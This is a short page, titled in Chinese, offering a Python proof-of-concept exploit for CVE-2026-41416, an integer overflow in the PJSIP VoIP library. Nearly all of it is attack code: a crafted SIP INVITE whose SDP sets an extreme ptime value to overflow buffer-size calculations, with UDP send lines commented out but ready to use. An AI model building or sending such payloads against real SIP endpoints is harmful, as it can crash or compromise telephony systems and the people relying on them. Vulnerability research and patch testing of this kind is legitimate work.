CVE-2026-41416 PJSIP整数溢出漏洞

import socket # PoC for CVE-2026-41416: PJSIP Integer Overflow via Asymmetric ptime # This script sends a crafted SIP INVITE with malicious SDP to trigger the buffer calculation overflow. TARGET_IP = "127.0.0.1" TARGET_PORT = 5060 # Crafted SDP with extreme ptime values to trigger integer overflow in buffer size calculation # PJSIP calculates buffer size based on ptime. Asymmetric or large values cause the overflow. malicious_sdp = f"""v=0 o=user 123 123 IN IP4 {TARGET_IP} s=session c=IN IP4 {TARGET_IP} t=0 0 m=audio 12345 RTP/AVP 0 a=rtpmap:0 PCMU/8000 a=ptime:65535 """ sip_request = f"""INVITE sip:test@{TARGET_IP} SIP/2.0 Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK-overflow Max-Forwards: 70 To: sip:test@{TARGET_IP} From: sip:[email protected];tag=123 Call-ID: [email protected] CSeq: 1 INVITE Contact: sip:[email protected] Content-Type: application/sdp Content-Length: {len(malicious_sdp)} {malicious_sdp}""" print("Sending malicious SIP packet to PJSIP target...") # Note: Actual network sending requires a running SIP server/client on the target. # sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # sock.sendto(sip_request.encode(), (TARGET_IP, TARGET_PORT))